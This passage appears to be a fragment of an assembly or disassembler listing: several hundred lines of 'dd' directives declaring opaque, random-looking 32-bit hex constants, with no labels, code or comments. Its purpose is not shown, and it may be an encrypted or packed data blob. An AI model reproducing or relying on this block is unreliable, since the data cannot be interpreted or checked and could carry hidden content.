		dd 0BF732E9h, 705D5CB8h, 5682FEE6h, 7C1B82D8h, 0FD903465h
		dd 0EF1658E6h, 0A5C65A4Ah, 52401EE0h, 9F0288Bh,	65A92DFEh
		dd 0DC210FDh, 70DF5Eh, 59A37F21h, 691F1225h, 0C5CB0952h
		dd 82FE90B2h, 800CC536h, 6FE2C2EBh, 0E8D7294Ah,	3EFDA94Bh
		dd 3B92A1CDh, 2075EA2Fh, 472209AAh, 336391D5h, 0AC94B307h
		dd 0A0A0164Bh, 0B0ED1F88h, 0B68E0C8Ch, 799F3118h, 6D973DC0h
		dd 0D8F4E59Eh, 335A4A47h
		dd 0E85AB9B8h, 92AC80ECh, 27E978BCh, 297C19B3h,	0C857F69h
		dd 5CCCBE6Bh, 0CC754F11h, 6D7621AEh, 0B951630Eh, 0FFE8526h
		dd 91E9ED03h, 4EDA67h, 323330B7h, 1830487Ch, 0F66842A4h
		dd 0C8879462h, 618D00C1h, 0F78114DCh, 0E8373F09h, 0A5370026h
		dd 1307E63Ah, 0BC7909E9h, 0E3E2E7A6h, 0B35A0B67h, 8B685109h
		dd 51945570h, 4DE9594Fh, 8B37068Fh, 9729201Ch, 42F13322h
		dd 5A923957h, 8C3CB0F1h, 3187680Bh, 226FC8FEh, 0C2D32761h
		dd 203D9060h, 72590B7Fh, 1A757429h, 650C0947h, 45F1261h
		dd 132BDD2Bh, 2005D8FDh, 0F21C1369h, 9101C482h,	93DD0993h
		dd 2D087BEBh, 0F2F4157Dh, 8B273D40h, 17050406h,	80763868h
		dd 3EE955E6h, 93286568h, 78F6EB07h, 0C7FA3804h,	30082A61h
		dd 7A62930Ch, 0BE562E01h, 2A9255E2h, 61521880h,	0F30179EEh
		dd 610844D0h, 1173E9DDh, 77625402h, 0BD016ADEh,	0D8635DCh
		dd 0B219A531h, 2E99C40h, 70F1975Bh, 0DE862A3Dh,	70660A25h
		dd 0FF28D2F4h, 0F1EE0000h, 5A97A399h, 0C562B289h, 65BFC629h
		dd 9DCDB3C9h, 3C41BAA1h, 2027318Fh, 0E43EC4FEh,	301DDB4Ah
		dd 0F38C58E3h, 191C06E2h, 0A782B9E9h, 0E80A35C6h, 0AC03CE7h
		dd 402E52BAh, 0E2C10053h, 0A3F28102h, 8631897Bh, 4CD2F201h
		dd 2858104h, 0BBDCE740h, 117F3CAh, 1008B2C8h, 0E9C31470h
		dd 273B6B38h, 0C04FA7C6h, 52510Fh, 0E6C04CB6h, 5CF68006h
		dd 5376EEE6h, 0E9A3C61Eh, 0C76BAF98h, 9C1E1224h, 0D29A0EB3h
		dd 871F8204h, 10E9E58Dh, 267F9D08h, 3A7A4901h, 0BB53D10Ah
		dd 0A8D02708h, 33BFE912h, 30CBB7ECh, 0F2148DFFh, 0E7F53335h
		dd 0F692830h, 4933E15Ah, 526E65E5h, 834D046Ah, 30011245h
		dd 36E13D28h, 0BBC9466Eh, 0B03B1C9Bh, 0CD5AB892h, 7ABC01DBh
		dd 0D0297FFEh, 0ED5E927Dh, 76AF4AF0h, 9909DCF0h, 47A7F17h
		dd 9B109437h, 0F3882D0Bh, 2CC2425Eh, 8595573h, 0C358F6C9h
		dd 91054423h, 4648653Ah, 7DA40382h, 23B01E9Ch, 0D536526Bh
		dd 765B8399h, 4E2C7F0Dh, 6B6C8557h, 26342F68h, 0F82D2DCEh
		dd 405B544Ah, 524B5941h, 6803C0B7h, 30055BD1h, 1438C8D8h
		dd 0B0FC744Bh, 9752E90Ch, 813BD297h, 64CA8BEAh,	82D6F490h
		dd 0A2224CEDh, 4D57D186h, 230F2FB0h, 7F50155Bh,	0EFE27BD6h
		dd 4EF4552Fh, 235275F2h, 7084F338h, 0FA207CA6h,	0BE2956Eh
		dd 894E7B57h, 24F1FAE4h, 48A00842h, 241ADAC0h, 0FBD7546h
		dd 0FC95910h, 0D4C06909h, 432EB151h, 801C9288h,	0C7D281DCh
		dd 957D0C05h, 8C1DC8FBh, 0F15BEFFEh, 80BD2CBh, 0A540F730h
		dd 0FE3AFA88h, 0B3D72FCAh, 76CFEF9h, 0E9CF308Fh, 1FA2BB48h
		dd 904390F2h, 0CA030477h, 40B3531Dh, 0FC5BD230h, 4F3B212Ch
		dd 5E2A66ACh, 48DE203Bh, 0A66D11BDh, 3158C206h,	0D58183D5h
		dd 2CC2B01h, 41165BEEh,	0DF869D9Ch, 35502B94h, 11684989h
		dd 7613063Ch, 514A2853h, 7959542Dh, 1CF769F2h, 0AFE91752h
		dd 9F14E2ADh, 1223FF09h, 3C318085h, 7E75BEACh, 3C5D5821h
		dd 987E6902h, 0AEE04633h, 3A25126Bh, 0FFDC6923h, 0FBE90389h
		dd 0C9FEA7A2h, 30A0E441h, 7998057Fh, 0F1285504h, 2AA1E2E9h
		dd 2CC2837Eh, 444DED13h, 5889F9A6h, 0E23B32D5h,	0F4515FD3h
		dd 57E346CAh, 2339587Fh, 130C7835h, 5240A403h, 5E142065h
		dd 12503FAh, 0C48D03D3h, 1AB3BE7Fh, 1C8AE9C2h, 0D497CA94h
		dd 48F67A15h, 60E83A20h, 72EED180h, 0EA51B8C1h,	28A52D91h
		dd 97F62542h, 4A0B4A17h, 0E1A5F89h, 4D8968DEh, 53814970h
		dd 23B5F67Ah, 0F9118898h, 0FB255328h, 6054F98Fh, 92649E8h
		dd 73C3E910h, 1203512Ch, 4AF5A70Eh, 55F21CB0h, 3420A6A5h
		dd 3DB20B52h, 0F6D9D2F6h, 7F092812h, 80E3988Ah,	26A761C2h
		dd 98CFB450h, 0F02F9A8Eh, 5AA23904h, 0F112E5BEh, 0EB4B768h
		dd 1CF9C380h, 0F159F4F7h, 2AFA0962h, 4427A168h,	2847548h
		dd 2B1D41B9h, 0B293400Ah, 7E853B5Fh, 261BF107h,	790CDC76h
		dd 6E7C86ECh, 72A876C3h, 4A92AA6Bh, 0D23FF448h,	6800FED4h
		dd 2AC512E1h, 0B1075FE9h, 82CB3F62h, 27F4148Bh,	2B9B858h
		dd 0E97FA370h, 6EF5FDD8h, 6AD095DCh, 880BA1h, 2D40B9h
		dd 0C2BF7464h, 18B9BD2h, 6A61ADA0h, 2050448Ah, 0E5B09DFCh
		dd 645D022Ah, 114A8BF0h, 0BE5EE228h, 4B78C2EDh,	0C672A922h
		dd 0A110C8A8h, 64996831h, 0F197C40h, 0D4325F72h, 0E9080238h
		dd 604A50CDh, 0DD833943h, 10AEC5ABh, 0E966182Fh, 1835F3EFh
		dd 0A3160F73h, 60E73D3Bh, 505F0ED0h, 513B4A30h,	4C0C584Ch
		dd 82F9977Ah, 0F8917649h, 3D9C8EE9h, 0FC31FF25h, 2C173884h
		dd 0EB811431h, 3552626Dh, 0AB35D1F9h, 2728A76Fh, 0BE68C04Bh
		dd 0C23534FBh, 0F06AB3Eh, 4C240B49h, 82D16853h,	3F35A619h
		dd 0DC92142Ch, 4A5F095Ah, 2EA84DAh, 0B8A4FCFCh,	0FC3B8AB2h
		dd 12623CE3h, 2061CA5Bh, 23150CA2h, 0E8B85E24h,	60C0A738h
		dd 1329BB9Fh, 0A05462AAh, 0AE5420E9h, 0B41FEB97h, 937D5A5Eh
		dd 0BBA385B7h, 0E84BEAD2h, 6969809Bh, 9005E1C1h, 336401C4h
		dd 37E93A65h, 5A5A419h,	4DA9015h, 221C6855h, 94DC11E8h
		dd 1A83D745h, 0C09EFC3Eh, 5075B60Fh, 32E7821Dh,	0C0818E29h
		dd 7B548DF7h, 14609D05h, 4858C8E9h, 13CC9D7Dh, 0CCF4F6Ah
		dd 279E667Dh, 629D072Ah, 0E5B17F28h, 8CC88247h,	7DA14466h
		dd 0C5E9B182h, 679DE678h, 0F64C8865h, 0C8B5604h, 44A5CEBFh
		dd 0EB32E906h, 0E0DAA367h, 177080A2h, 901484Eh,	305D32BCh
		dd 0A5993EF3h, 0D443B3Fh, 0A2342889h, 46F09F46h, 11F8555Eh
		dd 9642E940h, 1589666h,	0EB637BF7h, 0F843306Eh,	10FA713Eh
		dd 4E7FDE21h, 52559BB1h, 0E952063Ch, 4C5BA326h,	645C05DDh
		dd 1260F884h, 0F79200BAh, 0FD885163h, 0E8755073h, 19E98AC6h
		dd 0E15B4B27h, 0EC633128h, 0D2C0F5A4h, 0BF786625h, 0FE2D0526h
		dd 0FADFF2E2h, 1AE0713h, 8CE94538h, 0B0A33FFBh,	0B93D8630h
		dd 0A12F5AB4h, 88945612h, 0F7096E42h, 0E2007DD8h, 0A18501Ah
		dd 211D6CFEh, 9D403C2Fh, 353A112Eh, 75660436h, 0BFC12961h
		dd 20FFAA56h, 0E2FBEB6h, 0A054092Eh, 0CF71EE0Fh, 0C91A33F4h
		dd 5A5A8093h, 0B7438435h, 9809CE52h, 75B56C36h,	6B048F09h
		dd 0C52CE825h, 0DFF88C10h, 0BDFDC8C5h, 250F8B93h, 0B8034DD1h
		dd 0DDE8CD80h, 0D48A87FBh, 3BA133Fh, 49F47520h,	7AC7CAEBh
		dd 322D2008h, 0E27B1F13h, 68D5BFE0h, 9B612A24h,	0E4F55C30h
		dd 1EC5303Fh, 10A8C90Ch, 0CC50802Ch, 6FB91216h,	3828E9A0h
		dd 6F4FB3B1h, 6134131Ah, 56B67581h, 0B116FC23h,	0D22CFBB4h
		dd 206E16B6h, 0E5B3A8F1h, 160A6781h, 0C13C104h,	0E9F62F26h
		dd 0B167AA93h, 173B84C0h, 4E0CC10Ch, 7E18A533h,	80665B5h
		dd 8914820Ch, 6116777Ch, 1C4F092Dh, 36D2028h, 0E84B5576h
		dd 0E7C10202h, 82074304h, 211B60E4h, 20F0A4F9h,	9AA1B3E2h
		dd 87A47E7Eh, 0B1609008h, 0FCED015Fh, 0EC90023Fh, 5E80A37Ah
		dd 6DA12F68h, 725F1B18h, 52410200h, 5A3CF2BAh, 0D509F51h
		dd 2B7E00A1h, 7B8500E2h, 50958A5Fh, 664FAFE7h, 0B0F5A02Dh
		dd 0FACB955h, 65F88914h, 1271B810h, 0E3E9D030h,	0AAC3569Eh
		dd 0BB874764h, 27A23110h, 0E9CD1789h, 0B8BC80EFh, 0E11E6981h
		dd 0D3C94806h, 0F50F1224h, 96DA248h, 0EB7B21F0h, 750A5D58h
		dd 0E9144A7Ah, 0C188274Dh, 11517468h, 5ADFE460h, 0EED54075h
		dd 66A21FAAh, 8EB0A390h
		dd 1C480883h, 8274288Ah, 0D0FC4C5Bh, 5CF7DF80h,	0FB5C311Fh
		dd 0BC3D2B19h, 0C3606D02h, 784C003h, 0A53F78E9h, 0F0290B9Fh
		dd 0F0B75FC6h, 7D37098Ah, 0AE8271CAh, 68039F15h, 5AC97A29h
		dd 55DF0980h, 290DB4D3h, 0AA200A0Dh, 0B3485EA7h, 52207FEEh
		dd 95669F5Eh, 880CF3BFh, 5B13F2EAh, 5F7B4AB2h, 608BCD5Dh
		dd 5541AC04h, 0C1508229h, 0E31A4F57h, 1F5A796Bh, 29AB2612h
		dd 0B7B93A91h, 0FE4A1D48h, 485C086Ch, 6C005E55h, 0BD031C71h
		dd 0D21643DDh, 0EE0B310Bh, 17CD0C5h, 8616A12Dh,	31E8296Eh
		dd 0B1080467h, 0D78A6826h, 4F921366h, 0C21BBC50h, 0BB1FBE9h
		dd 5D951D54h, 2FA588Dh,	6C2072EAh, 9EC1550Fh, 0DCB3A541h
		dd 701E0C9Fh, 3604C1CBh, 29BD8B26h, 0C34102E8h,	0C85F09D2h
		dd 0B132FA52h, 462BADEDh, 2E65B3F9h, 0AEACA857h, 40C1BA41h
		dd 0D45EBF01h, 71B87C4Eh, 4F26C280h, 0EF0138B2h, 4DA8A999h
		dd 0C080FE09h, 0FA1113E6h, 3AEDC13Ch, 0BC0359C7h, 9B6CE17h
		dd 656776Fh, 5D7CABD0h,	249CFB4h, 26607DAh, 0F1554E68h
		dd 4602E9E8h, 0E9024FC1h, 18268E6h, 851AB5F0h, 6A542660h
		dd 88400E8Bh, 0F64686D8h, 0C3F008D3h, 7D96E925h, 9E57100Bh
		dd 0CC79841h, 1377256Ch, 0F7905AD2h, 0B0380F72h, 71EA4B15h
		dd 0EAF3291Ch, 0CB90E8D5h, 1F6F277Ch, 33048580h, 3D90FC90h
		dd 982F530Bh, 4FD3803Eh, 0EC7F993Fh, 0F3E177E2h, 46C2F880h
		dd 42542A04h, 0B06EE913h, 4E5FA020h, 274F7B71h,	0F9F130D0h
		dd 0B1004ABCh, 78462D40h, 68390B26h, 0A6E67461h, 2F0B3E71h
		dd 0C0F831FAh, 3B1AC913h, 2D584418h, 4A32640Eh,	0A89058A4h
		dd 6286C12Fh, 94F471D2h, 57D7A81Bh, 774C9D11h, 267C4C9Dh
		dd 26C5AD0h, 9910E8Bh, 39C72043h, 6D585560h, 533F5681h
		dd 82BB0814h, 0F0CD963Fh, 0D03E17DDh, 1CAF689Ch, 0ECE94FA8h
		dd 84B495C9h, 60BFE324h, 0F1FEE909h, 15C79BAh, 0E5C2025Dh
		dd 0C57BC576h, 5C56A5B0h, 0F622AB68h, 0AA325E76h, 0DBF9DB4Eh
		dd 2B1B0D7Eh, 0BE3A30CDh, 701C430Eh, 15241D68h,	0D1D038C7h
		dd 40EBE5Bh, 29F23ABAh,	0DBB2EBDEh, 0CA6E14C4h,	38FF4BF0h
		dd 0BD27E9A3h, 3201CCF7h, 271D3D52h, 0F442A6ABh, 0F5BDD05Dh
		dd 0BB00C438h, 109B06BCh, 750CE381h, 0C551E21h,	78490CDEh
		dd 30E4B46h, 1B3F0513h,	0F3D6C0BBh, 38386196h, 5BDF8909h
		dd 699004Fh, 0A111463Ah, 1F305EF7h, 841216A8h, 71CEBC43h
		dd 223F5012h, 0AB4857ACh, 0D0045C58h, 0C0EDC127h, 3218C51Eh
		dd 0E962FD0Ch, 1C68BB5Fh, 57433979h, 4343EE5Ah,	8C560EA9h
		dd 41F35100h, 769D89F6h, 0F5B35347h, 362B06F8h,	7B21E926h
		dd 0DDF3E8ADh, 60D19581h, 67FFDA97h, 47BA4E70h,	4ED12481h
		dd 9FC9D8FBh, 7DCB1A1Fh, 34A8F116h, 8522B18h, 53626192h
		dd 5EFB8904h, 0F75F0E54h, 0B8EABD98h, 2E8FEC4Ch, 0F6889C21h
		dd 0DCEB945Bh, 1E4AB213h, 8C31427h, 31F45E2Fh, 0D53201C2h
		dd 26F7B002h, 0DFB4F604h, 88EF5B2Eh, 0EBF3F76Bh, 3AFFA5EAh
		dd 0C1C840D2h, 0F77DCE47h, 3EC31C40h, 4605BB53h, 3141841Bh
		dd 0C808EF13h, 0D752A52Eh, 0E970B799h, 18A84DD5h, 0AD476B15h
		dd 5E4D2E94h, 0F8222D76h, 39FC09E4h, 0FB890A4Ah, 0D2D7A33Eh
		dd 2C3B7DAFh, 0A6E91234h, 6832C8BFh, 20444826h,	49D36C2h
		dd 0BADDFA5Fh, 0EE88DFAh, 13C88A00h, 2969814h, 0B139D0E3h
		dd 0E8554B52h, 2780166Dh, 40DC626Bh, 194A508Bh,	0EFE45552h
		dd 80F99591h, 0B5B3C4CBh, 4B1A0979h, 0D0B680B7h, 0BA51DB77h
		dd 1D1F2011h, 45EB314Bh, 0B8F1B938h, 662D81B2h,	1C91359h
		dd 4979F288h, 70E6BD60h, 0BD214A0Bh, 0ED81013Bh, 0B25D8D9Ah
		dd 97397B31h, 4C4EC22Eh, 33019A0Ch, 685B55E4h, 0E758160Ch
		dd 83E55F8h, 6B1FC06Bh,	6AF3710Ch, 690E87C2h, 97E5BA6h
		dd 9AD44D83h, 5ABB7C1Ah, 6E83858h, 2960EF4Bh, 0E682CB80h
		dd 954095EBh, 0DC72F6E7h, 49CCD448h, 885A1314h,	4124A2ACh
		dd 0D7529F20h, 58A1497Dh, 0A471A13Ah, 766D2C80h, 98CF0107h
		dd 1C088354h, 382913B8h, 0B969FF4Ah, 0E4E95584h, 0A76A8851h
		dd 575E1D92h, 15161EE2h, 0CA67ADFDh, 1924651h, 5C8A69A8h
		dd 49481DCBh, 87EA08C4h, 4E90801h, 1561BB36h, 4E5291E7h
		dd 0E28187B8h, 2930BA29h, 8DDC86EDh, 45990A7h, 0C83D9768h
		dd 4FB3B47Eh, 0ED891440h, 0A89FCADCh, 9402C5C8h, 0A277A7A3h
		dd 9ECF7BAh, 64C07E00h,	81022173h, 0D86E19E7h, 0CC4E7079h
		dd 0E90D0206h, 0D0009E5Ah, 3D841CBDh, 5C2BF451h, 12D9FFA6h
		dd 4B106C8Fh, 0A7C639BAh, 3A255EFh, 13791583h, 56ECA742h
		dd 7F52503Dh, 5BA2B080h, 1C81AC30h, 7AFBFFEDh, 5948E8E0h
		dd 0E1B1719Ch, 0C08BB380h, 588007EBh, 0D807D0F3h, 9268AE9h
		dd 25C04775h, 7DA309FDh, 519F6D9Eh, 734D0833h, 88EC4950h
		dd 1F704AB9h, 0ADB7B5Ch, 0A5BB16E3h, 0D96DAC09h, 54518F16h
		dd 0B9843C65h, 323D0522h, 18BF1282h, 0D02FBED8h, 48CB7897h
		dd 8E40B341h, 793E0FF1h, 15670C4h, 97536976h, 0ADC06B32h
		dd 7C647235h, 92FE92Bh,	0CCC65D62h, 0A0338127h,	0C634DB87h
		dd 975B071h, 47ED2E6Eh,	139581E3h, 0D04AF08h, 0C1AF3B32h
		dd 2E87A2F2h, 0B8481BA6h, 0AF2D5C73h, 3B8CFE60h, 10E09E2h
		dd 648159CBh, 0C0BB1618h, 8089C3EAh, 40980427h,	83082748h
		dd 0F6EFF5D0h, 7E25DD7Ah, 87981294h, 251934C6h,	0A0B89606h
		dd 3E942D03h, 762C742Fh, 0F249CAADh, 7BC8183h, 3AF67420h
		dd 91DEB328h, 0E82FFE09h, 82BD31C4h, 7193B947h,	567C83DFh
		dd 17EA7ADEh, 54067258h, 7DE0685Fh, 2C2B2F85h, 0F1AF34D1h
		dd 0F135420Fh, 560CB957h, 2F438E82h, 0ABE04B2Ch, 69BA60E9h
		dd 0D830AC00h, 56B75352h, 27F47EB6h, 0E3D459BDh, 296E0B4Fh
		dd 1781E685h, 8C7C4568h, 18691C9Fh, 76D80337h, 0E07D5874h
		dd 0A473F04h, 0D1080324h, 525AFE5h, 0E04DBBC0h,	0C2764F5Eh
		dd 754029C7h, 2B9E7578h, 26222DBEh, 0C681A865h,	8168AC96h
		dd 0FA27E77Dh, 6468529Eh, 835E9B74h, 48D3C152h,	70D4AAE4h
		dd 39FF081Fh, 0C3DBE7FCh, 45AC0A71h, 0EA340C8Bh, 0D221E305h
		dd 0A6A0DD6Ch, 0DBF6CBFEh, 0E54831B0h, 5A5A7FEDh, 0F4082B25h
		dd 0EADA250Ch, 38C5F4Dh, 4917DCBEh, 0CA94D21Dh,	5411DE8Bh
		dd 0AC4B1698h, 0FD2E4E89h, 7A250FEh, 0AD97D1Eh,	27804ECCh
		dd 0D85864C7h, 17AE1224h, 83FC922Fh, 48112CCBh,	0FB49580Fh
		dd 1283AFC4h, 29027EF9h, 148BD12Ch, 73D6FEh, 0C053B618h
		dd 0C6FE08E6h, 0E9D99095h, 87405412h, 274378B2h, 82DE1923h
		dd 84945752h, 13BB5B97h, 8BC3563Bh, 0E3D013C5h,	3FB48407h
		dd 4EC2D90Eh, 0B94C742Fh, 0A092195Ah, 8960E067h, 5EC19220h
		dd 7C7EF358h, 5E276749h, 7DC947ADh, 9D20C8F5h, 3B1D2B55h
		dd 0EC022F85h, 58A525Ah, 4231007Fh, 0E58175B6h,	244E823Fh
		dd 8028850Eh, 631FE3E6h, 0CDDF68BDh, 5BA70300h,	9A44E945h
		dd 0D0F728CFh, 0DDF85C9Dh, 96FD53CBh, 6AC9207Ah, 3FA84AC1h
		dd 0DAEC1157h, 7A73B41Bh, 5B20DB40h, 0C1547200h, 0C5E905E2h
		dd 0F451956Ch, 0A931EF92h, 87F2EAD1h, 1A80C9Dh,	0CD80F8B5h
		dd 90E4EB8Dh, 0F0016630h, 943B05E6h, 0F82D8707h, 21CB5E31h
		dd 16506805h, 26D15FC2h, 74C90952h, 40CE9E4h, 414C490Dh
		dd 7C052711h, 77E153D9h, 21224934h, 7627284Bh, 9045C69Dh
		dd 0F02100DDh, 10E8C15Eh
		dd 0AC5964E9h, 93F29198h, 0A5D09D1Ah, 0E3C1EEB0h, 0B8005178h
		dd 0E40D706Ch, 0B683569h, 0C6CB146h, 3C06263Fh,	7A1F1A6h
		dd 4D26F58h, 95B25887h,	8B435CDh, 301FF5BBh, 0C02DA9Eh
		dd 0ABE977F9h, 7C779347h, 28B4EAFh, 1685066h, 5DD2B277h
		dd 0F95568E2h, 131148F7h, 2A16B1E8h, 94F66EACh,	0C80BBE98h
		dd 803D456Bh, 2883C10Dh, 0E926130Fh, 0A20253CEh, 0F0AEB42Eh
		dd 525E917h, 0E4CFF41Ah, 4A9CAD55h, 5B03C90Ch, 81FED353h
		dd 0BD14686Eh, 26581865h, 0C4E7B80Bh, 0DCA9B11Eh, 7340DE2Eh
		dd 0F3C89729h, 3B2F6858h, 7AE01803h, 6BD29E65h,	756A1061h
		dd 0F6DA8290h, 0FF7AA238h, 0AA50AC8Bh, 0BA7F9F3Eh, 0E6BEBE1Fh
		dd 2CAC4140h, 426942A9h, 20B7875h, 5A48C7EEh, 0B999013h
		dd 51D2F65Eh, 92096205h, 3454B0BBh, 0F9ECB263h,	80054C9Bh
		dd 853F232h, 0C1440F5Eh, 0AC0E1BDBh, 0C84D2FC4h, 0B20BC1BFh
		dd 7C1C90F9h, 0ED2893Ch, 28AC677Bh, 935B8427h, 1AC361E0h
		dd 82C54F2Ch, 0D6328E69h, 68154AECh, 4E526A06h,	624AC4F3h
		dd 0FEA94C63h, 42DDE782h, 0E53918D5h, 0D145C4A3h, 0B241AB5Ah
		dd 86697008h, 0E562E57Eh, 0ACBC47D0h, 0F91291D2h, 90C45033h
		dd 69D360ABh, 4B4EFD79h, 5B0DD804h, 2B7A7AAh, 718DBE56h
		dd 0EEDA4103h, 9F0D58FFh, 6A7E7B05h, 6709A411h,	0F6C7ADFDh
		dd 19774BFCh, 0C632F4C8h, 2153E603h, 0C054184h,	0B0573C6h
		dd 0A510FE1Dh, 0D5FE5F25h, 256212BDh, 9DF8973Dh, 277292EDh
		dd 4A46056Ah, 0DC67B00h, 3DFE2D61h, 0E91E091Ah,	82F38FEEh
		dd 0FC3AE941h, 0A073B83Ah, 256ED27h, 5DEF29DBh,	9175F921h
		dd 1507C4A9h, 0D36BE857h, 6B801890h, 0EE125C7Bh, 1D70ED80h
		dd 12CF08EFh, 3449E02h,	96E0B2E9h, 3AFBBF31h, 138B5614h
		dd 1EB2186Dh, 0B88FAE92h, 9A49E915h, 7C01590Ch,	3A965F2Eh
		dd 330BB48Ch, 710D0FCFh, 0B16B761Ch, 8133450h, 0BEF05AD5h
		dd 0C58016BBh, 0B4991118h, 97F9881Ch, 79008ACAh, 0CEE81C4Ah
		dd 34D4F5B2h, 98B15182h, 805361C0h, 0DECE50F5h,	964E2847h
		dd 0A402170Ah, 5EE4F279h, 0C6D3530h, 5C972D83h,	7720027Eh
		dd 0A7C14D4Fh, 5BE448CDh, 0A581A37Fh, 0EB010490h, 80114BE9h
		dd 63C6B8FFh, 35620F0Ch, 0F6500BC4h, 0CA24124Ah, 0FC43F538h
		dd 45012E84h, 74690565h, 917AFAA7h, 38983EC1h, 3EF1D157h
		dd 286CA650h, 5B65696h,	9DD45E2Dh, 80740F58h, 5554FA68h
		dd 5B400A92h, 9CC59B5Ch, 0CCFB2D84h, 211B0D4Ah,	3ACE387Dh
		dd 0C1154983h, 60004E0h, 445C2D08h, 13312507h, 46AFE9C7h
		dd 34DFF79Bh, 0C5212200h, 4DA2353Ah, 28ADED67h,	15AAF5Ch
		dd 9C45E941h, 0AF83EB04h, 0D8AEE542h, 2F926201h, 0C726EA05h
		dd 6AF16AFBh, 0ED68F0F9h, 0FED7B104h, 8B0081C1h, 0C0F76020h
		dd 0D004E207h, 5986EAh,	0F6E38840h, 0CBE916D3h,	1D29AA1Eh
		dd 0F8196D67h, 0DCF2AB10h, 0CC9FE5B6h, 57E5A18h, 0EAD5872Bh
		dd 4130FE2Ch, 0E57942E4h, 6864A141h, 0BD6683FDh, 5147CF52h
		dd 55DB966h, 48E9CD29h,	0D8884080h, 0B305B22Dh,	0A556753Eh
		dd 0D536C25Dh, 0C9D3029Ch, 0D0564813h, 0EA3BCA8Ah, 0DBDC522Fh
		dd 0FDFEBD62h, 0E877E3BAh, 80E3CF16h, 9E0CCE81h, 0C28B25Fh
		dd 1C460526h, 0EB33E934h, 2A4CD696h, 6B9EA0DCh,	0DED23BB2h
		dd 215A5B13h, 0EFD065BEh, 2AEAA764h, 3BBF5145h,	7F5B9F09h
		dd 5EF79330h, 7F7BB7h, 0F44373BDh, 2855E96Bh, 0EEC77AE4h
		dd 7D5BF822h, 0F520B3D1h, 7C97D392h, 17026B8Dh,	9EFF5971h
		dd 8F405253h, 63D0F102h, 0E16709h, 0FCBF005Dh, 0AAF84C4Bh
		dd 149E704h, 0F7E08026h, 0DC2D5C6Bh, 2795DC34h,	59B0C778h
		dd 0A03D072Fh, 0D6E1070h, 40EDB874h, 92B05D90h,	83685503h
		dd 0F2390962h, 31B9E8A4h, 0FD94BDDEh, 0F15A562Fh, 1072CB12h
		dd 7A7D6816h, 3ED329EEh, 2CAF4F17h, 0E24BC65Ah,	1516EEB3h
		dd 0BF923431h, 0B84B64E3h, 3482B1CDh, 6461E73Ah, 34BB020Ch
		dd 16082DCh, 579F20DBh,	49819317h, 4EDC435Eh, 892EBC18h
		dd 1B981940h, 0C809BF0Fh, 0E62C3468h, 0C1666AA0h, 5F7B039Fh
		dd 0F29D3D22h, 5E8FC597h, 0F280EBBCh, 44D562B6h, 21017298h
		dd 352F5C0Eh, 0F52140EFh, 0B4E8FDE6h, 0EE71F582h, 164FD69Dh
		dd 0ADF1C1EBh, 56A03A83h, 0B984180Fh, 0D4C6E129h, 31B50518h
		dd 1F51D10Ch, 25011AF6h, 300161FCh, 0AAE95B2Ch,	0E46E7535h
		dd 4B196E68h, 0F7BE70C0h, 0F1E90740h, 0B82BE15Dh, 3990B15Dh
		dd 0D1EB7780h, 59624377h, 0C69A0990h, 65BCB80Ch, 414D148Dh
		dd 2E5530E5h, 84C9764Dh, 0A51F47D7h, 8AFE80E2h,	0D1DE87A7h
		dd 6CAFF76Bh, 0AF1FFE61h, 0D5496E31h, 2CB6F1D9h, 1B9010F1h
		dd 0D576CE29h, 5C537BB8h, 0B8253AC8h, 80782C54h, 214C3968h
		dd 5FAD7B1h, 14540FC9h,	9C27B093h, 801994A0h, 56F6DBCAh
		dd 0FEED504Eh, 772DBAD2h, 92DAA73Bh, 387EB38Ah,	0BF4F34E1h
		dd 0F8CAC129h, 0CC7BBF12h, 4401D42h, 42DFC29h, 3E8E38F8h
		dd 9D840581h, 6882A06Ch, 4DFF54B8h, 32EA9483h, 0E972D0D2h
		dd 92BE10B0h, 0BA34495h, 84E3BA52h, 7C8079A1h, 607A10E5h
		dd 1C095404h, 4224230Ah, 6910494Ah, 0ED80502h, 8F76C32h
		dd 0EA3707A1h, 432D98C5h, 0E4A7ACF9h, 6CC53AF7h, 25A68450h
		dd 0D91C427Ah, 0BF43A2BFh, 0F854048Ch, 591CB1D5h, 0C5C34181h
		dd 3010A94Dh, 0BB80E2FCh, 454A00C7h, 2CF3817Bh,	7061525h
		dd 53E9D921h, 5B5D0725h, 0E288BF57h, 44FD0666h,	4ED30A11h
		dd 10897FEDh, 8BB51655h, 56AE308h, 0FF90B151h, 5285AE85h
		dd 5839B283h, 423C46F1h, 5A256840h, 37E54636h, 37CE00Fh
		dd 58F58E3h, 24CCA8C3h,	8269C849h, 0DA82C51Eh, 68C20EC7h
		dd 29CED43Dh, 93A5BBDFh, 0CC259B47h, 1C4724EAh,	27871CDDh
		dd 0D7789A7Dh, 2C096AC7h, 0C8B05F6Bh, 87C3818Ch, 127BE868h
		dd 0F9EE9F29h, 0F4928BFAh, 0A7E962A0h, 583F2250h, 71F88750h
		dd 0ABC36AF1h, 0A7BA8451h, 30736A03h, 0EC74223Eh, 656B1795h
		dd 59A200FDh, 163CB951h, 1B446624h, 0E0631203h,	340C0310h
		dd 317FA35Fh, 0E8012A03h, 78E1FDE9h, 0A25248A6h, 0E998285Ah
		dd 25F31A35h, 0D2C9D5ACh, 374F1472h, 0FC3B8DE1h, 0CABEE5C0h
		dd 7F74189Eh, 0E2AC1C1h, 1702C12h, 80CD0DAh, 6F14281Ch
		dd 0B0E27BB0h, 8A02BA52h, 0BB8C9484h, 653EB2D9h, 117ECEAh
		dd 4C2A7E6Bh, 0D22CD8E9h, 0A8160658h, 0F769BB70h, 2C02612Bh
		dd 0E7F13F15h, 97A1E9D0h, 0FC443B90h, 0D4AD8528h, 0F4555D24h
		dd 5023210h, 11E530A4h,	418FA440h, 5E3B6848h, 4C23C9A0h
		dd 5E1344FAh, 5A6F3392h, 49D250BAh, 0F4D4C99Fh,	0FEAB90h
		dd 0C9805966h, 1EE1C0ECh, 0F834E905h, 6135FE4Eh, 0F26E0C89h
		dd 0F6A3102Dh, 0BEA800Ch, 5749427Ch, 12AD9469h,	88D064EDh
		dd 19D927C2h, 40484061h, 72282B79h, 7FEB4169h, 67CF64C5h
		dd 104FB75Eh, 6813DE1Ah, 0E188EB4Bh, 30147FB7h,	0EA6B4A9Bh
		dd 962F2F97h, 1620D042h, 6075121h, 0BD8A7B0Bh, 2D872424h
		dd 0B902A010h, 47DD0BEDh, 0C52F2B7Eh, 0BF152C27h, 2289190h
		dd 0C180C9FEh, 0B0A470B6h, 0C90F4F62h, 7960E015h, 0C0C247B4h
		dd 26954C5Fh, 42489D0Fh, 0AAD49BF6h, 5E23422Dh,	0DC056925h
		dd 0A5E2C806h, 0F09EE855h, 32A43CA9h, 3FADD9B5h, 0AF38F216h
